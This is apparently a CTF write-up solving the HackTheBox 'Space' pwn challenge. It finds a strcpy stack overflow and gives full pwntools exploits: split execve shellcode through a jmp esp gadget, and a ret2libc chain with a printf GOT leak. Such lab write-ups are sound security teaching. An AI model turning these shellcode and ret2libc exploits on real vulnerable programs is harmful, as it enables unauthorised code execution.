Space from HackTheBox is an amazing pwn challenge we will solve this challenge in two different way. We’ll start with basic enumeration with gdb gef as usual.
Reconnaissance
Lets enum the binary .
1
2
3
4
5
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $file space
space: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=90e5767272e16e26e1980cb78be61437b3d63e12, not stripped
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $
so this is the 32bit binary .
Let run the binary to check what it does.
1
2
3
4
5
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $./space
> hello
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $
it’s doing nothing, just taking the input and it exits.
Lets send more junk .
1
2
3
4
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $./space
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
yeah , we got the segmentation fault on sending more junks. A segmentation fault
occurs when a program attempts to access a memory location that it is not allowed to access, or attempts to access a memory location in a way that is not allowed (for example, attempting to write to a read-only location, or to overwrite part of the operating system).
Radare
lets enum more with radare 2.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $r2 -A ./space
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x08049080]>afl
0x08049080 1 50 entry0
0x080490b3 1 4 fcn.080490b3
0x08049070 1 6 sym.imp.__libc_start_main
0x080490e0 4 49 -> 40 sym.deregister_tm_clones
0x08049120 4 57 -> 53 sym.register_tm_clones
0x08049160 3 33 -> 30 entry.fini0
0x08049190 1 2 entry.init0
0x080492b0 1 1 sym.__libc_csu_fini
0x080490d0 1 4 sym.__x86.get_pc_thunk.bx
0x080491a4 1 43 sym.vuln
0x08049243 1 4 sym.__x86.get_pc_thunk.ax
0x08049060 1 6 sym.imp.strcpy
0x080492b4 1 20 sym._fini
0x08049250 4 85 sym.__libc_csu_init
0x080490c0 1 1 sym._dl_relocate_static_pie
0x08049192 1 15 sym.
0x080491cf 1 116 main
0x08049040 1 6 sym.imp.printf
0x08049050 1 6 sym.imp.fflush
0x08049030 1 6 sym.imp.read
0x08049000 3 32 sym._init
we got the list of function present on the binary . loking at the function we can see this is just a small binary. lets check the main function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[0x08049080]> pdf@main
; DATA XREFS from entry0 @ 0x80490a6, 0x80490ac
┌ 116: int main (int32_t arg_4h);
│ ; var void *buf @ ebp-0x27
│ ; var int32_t var_8h @ ebp-0x8
│ ; arg int32_t arg_4h @ esp+0x44
│ 0x080491cf 8d4c2404 lea ecx, dword [arg_4h]
│ 0x080491d3 83e4f0 and esp, 0xfffffff0
│ 0x080491d6 ff71fc push dword [ecx - 4]
│ 0x080491d9 55 push ebp
│ 0x080491da 89e5 mov ebp, esp
│ 0x080491dc 53 push ebx
│ 0x080491dd 51 push ecx
│ 0x080491de 83ec20 sub esp, 0x20
│ 0x080491e1 e8eafeffff call sym.__x86.get_pc_thunk.bx
│ 0x080491e6 81c3de200000 add ebx, 0x20de
│ 0x080491ec 83ec0c sub esp, 0xc
│ 0x080491ef 8d8344edffff lea eax, dword [ebx - 0x12bc]
│ 0x080491f5 50 push eax ; const char *format
│ 0x080491f6 e845feffff call sym.imp.printf ; int printf(const char *format)
│ 0x080491fb 83c410 add esp, 0x10
│ 0x080491fe 8b83fcffffff mov eax, dword [ebx - 4]
│ 0x08049204 8b00 mov eax, dword [eax]
│ 0x08049206 83ec0c sub esp, 0xc
│ 0x08049209 50 push eax ; FILE *stream
│ 0x0804920a e841feffff call sym.imp.fflush ; int fflush(FILE *stream)
│ 0x0804920f 83c410 add esp, 0x10
│ 0x08049212 83ec04 sub esp, 4
│ 0x08049215 6a1f push 0x1f ; 31 ; size_t nbyte
│ 0x08049217 8d45d9 lea eax, dword [buf]
│ 0x0804921a 50 push eax ; void *buf
│ 0x0804921b 6a00 push 0 ; int fildes
│ 0x0804921d e80efeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x08049222 83c410 add esp, 0x10
│ 0x08049225 83ec0c sub esp, 0xc
│ 0x08049228 8d45d9 lea eax, dword [buf]
│ 0x0804922b 50 push eax
│ 0x0804922c e873ffffff call sym.vuln
│ 0x08049231 83c410 add esp, 0x10
│ 0x08049234 b800000000 mov eax, 0
│ 0x08049239 8d65f8 lea esp, dword [var_8h]
│ 0x0804923c 59 pop ecx
│ 0x0804923d 5b pop ebx
│ 0x0804923e 5d pop ebp
│ 0x0804923f 8d61fc lea esp, dword [ecx - 4]
└ 0x08049242 c3 ret
[0x08049080]>
this is clear that the program is taking the input and calling the sym.vuln
function. lets check the vuln function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[0x08049080]> pdf@sym.vuln
; CALL XREF from main @ 0x804922c
┌ 43: sym.vuln (char *src);
│ ; var char *dest @ ebp-0xe
│ ; var int32_t var_4h @ ebp-0x4
│ ; arg char *src @ ebp+0x8
│ 0x080491a4 55 push ebp
│ 0x080491a5 89e5 mov ebp, esp
│ 0x080491a7 53 push ebx
│ 0x080491a8 83ec14 sub esp, 0x14
│ 0x080491ab e893000000 call sym.__x86.get_pc_thunk.ax
│ 0x080491b0 0514210000 add eax, 0x2114
│ 0x080491b5 83ec08 sub esp, 8
│ 0x080491b8 ff7508 push dword [src] ; const char *src
│ 0x080491bb 8d55f2 lea edx, dword [dest]
│ 0x080491be 52 push edx ; char *dest
│ 0x080491bf 89c3 mov ebx, eax
│ 0x080491c1 e89afeffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ 0x080491c6 83c410 add esp, 0x10
│ 0x080491c9 90 nop
│ 0x080491ca 8b5dfc mov ebx, dword [var_4h]
│ 0x080491cd c9 leave
└ 0x080491ce c3 ret
[0x08049080]>
so the vuln function is copying the input into buffer call sym.imp.strcpy
. as we know strcpy()
function does not specify the size of the destination array, so buffer overrun is often a risk. Using strcpy() function to copy a large character array into smaller one is dangerous, but if the string will fit, then it will not worth the risk. If destination string is not large enough to store the source string then the behavior of strcpy() is unspecified or undefined.
Gdb Gef
As we got few things to start with , but lets enum more with gdb before writing our exploit.
1
2
3
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $gdb ./space
gef➤
lets check which binary protection
are enabled on binary.
1
2
3
4
5
6
7
8
gef➤ checksec
[+] checksec for '/home/oxy/Practice/hackthebox/challenge/pwn/space/space'
Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘
gef➤
its look like no any protection are enabled on the binary, so things will be bit easy for us .
lets create a pattern
of length 50 and check the number of bit required to reach eip.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef1'
gef➤ run
Starting program: /home/oxy/Practice/hackthebox/challenge/pwn/space/space
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Program received signal SIGSEGV, Segmentation fault.
0x61666161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd01a → 0x61616161 ("aaaa"?)
$ebx : 0x61646161 ("aada"?)
$ecx : 0xffffd060 → 0xffffd080 → 0x00000001
$edx : 0xffffd039 → 0xffffd080 → 0x00000001
$esp : 0xffffd030 → 0x61676161 ("aaga"?)
$ebp : 0x61656161 ("aaea"?)
$esi : 0xf7fa8000 → 0x001e4d6c
$edi : 0xf7fa8000 → 0x001e4d6c
$eip : 0x61666161 ("aafa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd030│+0x0000: 0x61676161 ← $esp
0xffffd034│+0x0004: 0x61686161
0xffffd038│+0x0008: 0xffd08061
0xffffd03c│+0x000c: 0x080400ff
0xffffd040│+0x0010: 0x616161fc
0xffffd044│+0x0014: 0x61616261
0xffffd048│+0x0018: 0x61616361
0xffffd04c│+0x001c: 0x61616461
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61666161
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "space", stopped 0x61666161 in ?? (), reason: SIGSEGV
1
2
3
4
5
gef➤ pattern search aafa
[+] Searching 'aafa'
[+] Found at offset 19 (little-endian search) likely
[+] Found at offset 18 (big-endian search)
gef➤
we found the offset of 18 will require to reach the eip. that’s a quite little space.
lets create a simple pattern to test the space available after eip.
1
2
3
4
5
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3 -c 'print("A"*18+"B"*8+"C"*18)'
AAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCC
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤ run
Starting program: /home/oxy/Practice/hackthebox/challenge/pwn/space/space
> AAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
gef➤ x/30x $esp
0xffffd030: 0x42424242 0x43434343 0xffd08043 0x080400ff
0xffffd040: 0x414141fc 0x41414141 0x41414141 0x41414141
0xffffd050: 0x42414141 0x42424242 0x43424242 0x43434343
0xffffd060: 0xffffd080 0x00000000 0x00000000 0xf7de1df6
0xffffd070: 0xf7fa8000 0xf7fa8000 0x00000000 0xf7de1df6
0xffffd080: 0x00000001 0xffffd124 0xffffd12c 0xffffd0b4
0xffffd090: 0xffffd0c4 0xf7ffdb40 0xf7fcb410 0xf7fa8000
0xffffd0a0: 0x00000001 0x00000000
gef➤
we don’t have enough space after eip too to put our shellcode. so we have to divide our shellcode in two halves
and put one larger half before eip and other smaller half after eip and control the return function to navigate betwwen shellcode.
Shellcode
lets create a shellcode for our exploit.
this is my shellcode that i got from shellstrom and i modify a little to work with our condition
orginal shellcode
1
2
3
4
5
6
7
8
9
10
11
12
[SECTION .text]
global _start
_start:
xor edx,edx ; edx = 0 (it will be used as *envp = NULL)
xor eax,eax ; eax = 0 (it will be used as a null-terminating char)
push eax
push 0x68732f2f
push 0x6e69622f ; here you got /bin//sh\x00 on the stack
mov ebx,esp ; ebx <- esp; ebx points to /bin//sh\x00
mov al, 0xb ; al = 0xb, 11, execve syscall id
int 0x80 ; execve("/bin//sh\x00",Null,Null)
modified shellcode..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[SECTION .text]
global _start
_start:
xor edx,edx ; edx = 0 (it will be used as *envp = NULL)
xor eax,eax ; eax = 0 (it will be used as a null-terminating char)
"i added these two lines"
sub esp,0x16
jmp esp "this will jump 22 steps back on esp"
"so we split it here , above shellcode goes after eip and below will before eip"
push eax
push 0x68732f2f
push 0x6e69622f ; here you got /bin//sh\x00 on the stack
mov ebx,esp ; ebx <- esp; ebx points to /bin//sh\x00
mov al, 0xb ; al = 0xb, 11, execve syscall id
int 0x80 ; execve("/bin//sh\x00",Null,Null)
lets save this as shellcode.asm
and convert this to shellcode.
1
2
3
4
5
6
7
8
9
10
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $nasm -f elf32 -l shellcode shellcode.asm
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $ls
jmp.py rop..py shellcode shellcode.asm shellcode.o space space.zip subl.html
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $objdump -d ./shellcode.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
we get our shellcode.lets use this shellcode on our exploit.
Exploit
we need to split our shellcode into two halves. that is from last part 18bits or less going to be our first halves and remaing will be our first part.
whole shellcode
1
\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
last part of shellcode going to be first part for the exploit.which is a length of 17 bits
1
2
3
4
5
6
7
8
9
10
11
\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3
Python 3.8.5 (default, Aug 2 2020, 15:09:07)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len("\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80")
17
>>>
first part of the shellcode going to last part on our exploit
1
\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4
so our exploit will look
1
paylaod = 'a' + last_part + jmp_esp + first_part
so here’s the idea 'a' + last_part = 18bits(require to reach eip ) + jmp_esp (return function which will return to first_part) + first_part(which will return to last_part)
so before writing our final exploit we will need jmp_esp address from the binary ,lets heck the address with ropper.
1
2
3
4
5
6
7
8
9
10
11
12
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $ropper
(ropper)> file space
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(space/ELF/x86)> search /1/ jmp esp
[INFO] Searching for gadgets: jmp esp
[INFO] File: space
0x0804919f: jmp esp;
we got the address for jmp esp 0x0804919f
.
Final Exploit
lets write our final python script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.terminal = ['urxvt','-e','sh','-c']
context.log_level = 'DEBUG'
sh = remote("docker.hackthebox.eu",30935)
jmp_esp = p32(0x0804919f)
first_part = b'\x31\xd2\x31\xc0\x83\xec\x15\xff\xe4'
last_part = b'\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = b'a' + last_part + jmp_esp + first_part
sh.sendlineafter("> ",payload)
sh.interactive()
and we got a shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python3 jmp.py
[+] Opening connection to 161.35.163.0 on port 30659: Done
[DEBUG] Received 0x2 bytes:
b'> '
[DEBUG] Sent 0x20 bytes:
00000000 61 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 b0 0b │aPh/│/shh│/bin│····│
00000010 cd 80 9f 91 04 08 31 d2 31 c0 83 ec 15 ff e4 0a │····│··1·│1···│····│
00000020
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x20 bytes:
b'flag.txt\n'
b'run_challenge.sh\n'
b'space\n'
flag.txt
run_challenge.sh
space
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1c bytes:
b'HTB{sh3llc0de_1n_7h3_5p4c3}\n'
HTB{sh3llc0de_1n_7h3_5p4c3}
ROP Method.
lets exploit it with ROP
method.
let first check the plt table of binary.
1
2
3
4
5
6
7
┌─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $objdump -D -j .plt space | grep '@plt'
08049030 <read@plt>:
08049040 <printf@plt>:
08049050 <fflush@plt>:
08049060 <strcpy@plt>:
08049070 <__libc_start_main@plt>:
Leaking libc address
lets use printf to leak libc address , we can use any of the available function but i choose to go with printf.
our payload will look.
junk + plt_printf + main + got_printf
just like in our previous method junk will be 18 bits and the main address from plt table is used so the program return to main and doesn’t crash and terminate.we need to keep it alive cause in every run the address of the binary changese due to aslr
enabled on the remote machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
!/usr/bin/python
from pwn import *
elf = context.binary = ELF("./space")
host = "docker.hackthebox.eu"
port = 30370
junk = "A"*18
plt_printf = p32(elf.plt["printf"] )
main = p32(elf.sym["main"])
got_printf = p32(elf.got["printf"])
print "plt@printf", hex(u32(plt_printf))
print "plt@main", hex(u32(main))
print "plt@printf", hex(u32(got_printf))
send paylaod and recv leak and retun to main (don't let the progam crash )
payload = junk + plt_printf + main + got_printf
io = remote(host,port)
io.recvuntil(">")
io.sendline(payload)
leak = io.recvuntil(">")
leak_printf = u32(leak[1:5])
print "printf@leak", hex(u32(leak[1:5]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌─[✗]─[oxy@oxy]─[~/Practice/hackthebox/challenge/pwn/space]
└──╼ $python rop..py
[*] '/home/oxy/Practice/hackthebox/challenge/pwn/space/space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
plt@printf 0x8049040
plt@main 0x80491cf
plt@printf 0x804b2d4
[+] Opening connection to 161.35.163.0 on port 30659: Done
printf@leak 0xf7d90de0
we got the leak of libc lets check the libc version from the leak we got . we can check it Here.
we got three results , we can add on more field to get exact libc version for this we need to leak another plt table it can be strcpy or read or anything that present on plt table. i pick a second one here not going further . download the libc file and load it on our exploit and find the lib base address.
1
2
3
4
5
6
7
libc = ELF("./libc6-i386_2.31-0ubuntu9_amd64.so")
"get the offest of printf from libc"
offset = libc.symbols['printf']
"substract the offset from our printf@leak, we got the libc base address."
libc_base = leak_printf - offset
print "libc_base", hex(libc_base)
now its ret2libc
attack from here. for a ret2libc
attak we will need three address as argunment for execv. system
,exit
and /bin/sh
. lets load it in our script.
1
2
3
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
bash_offset = next(libc.search('/bin/sh\x00'))
we need to add libc base address to these offset to get the atual address.
1
2
3
system = p32(libc_base + system_offset)
exit = p32(libc_base + exit_offset)
shell= p32(libc_base + bash_offset)
so our payload will be junk + system + exit + shell
. we have everything we need to exploit the binary .
Final Exploit
here is our final exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
!/usr/bin/python
from pwn import *
elf = context.binary = ELF("./space")
def start():
return process(elf.path)
junk = "A"*18
plt_printf = p32(elf.plt["printf"] )
main = p32(elf.sym["main"])
got_printf = p32(elf.got["printf"])
print "plt@printf", hex(u32(plt_printf))
print "plt@main", hex(u32(main))
print "plt@printf", hex(u32(got_printf))
payload = junk + plt_printf + main + got_printf
io = remote(host,port)
io.recvuntil(">")
io.sendline(payload)
leak = io.recvuntil(">")
leak_printf = u32(leak[1:5])
print "printf@leak", hex(u32(leak[1:5]))
libc = ELF("./libc6-i386_2.31-0ubuntu9_amd64.so") # in this case libc version is
offset = libc.symbols['printf']
libc_base = leak_printf - offset
print "libc_base", hex(libc_base)
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
bash_offset = next(libc.search('/bin/sh\x00'))
junk = "\x90"*18 # nops
system = p32(libc_base + system_offset)
exit = p32(libc_base + exit_offset)
shell= p32(libc_base + bash_offset)
payload1 = junk + system + exit + shell
io.sendline(payload1)
io.interactive()
Thanks for reading.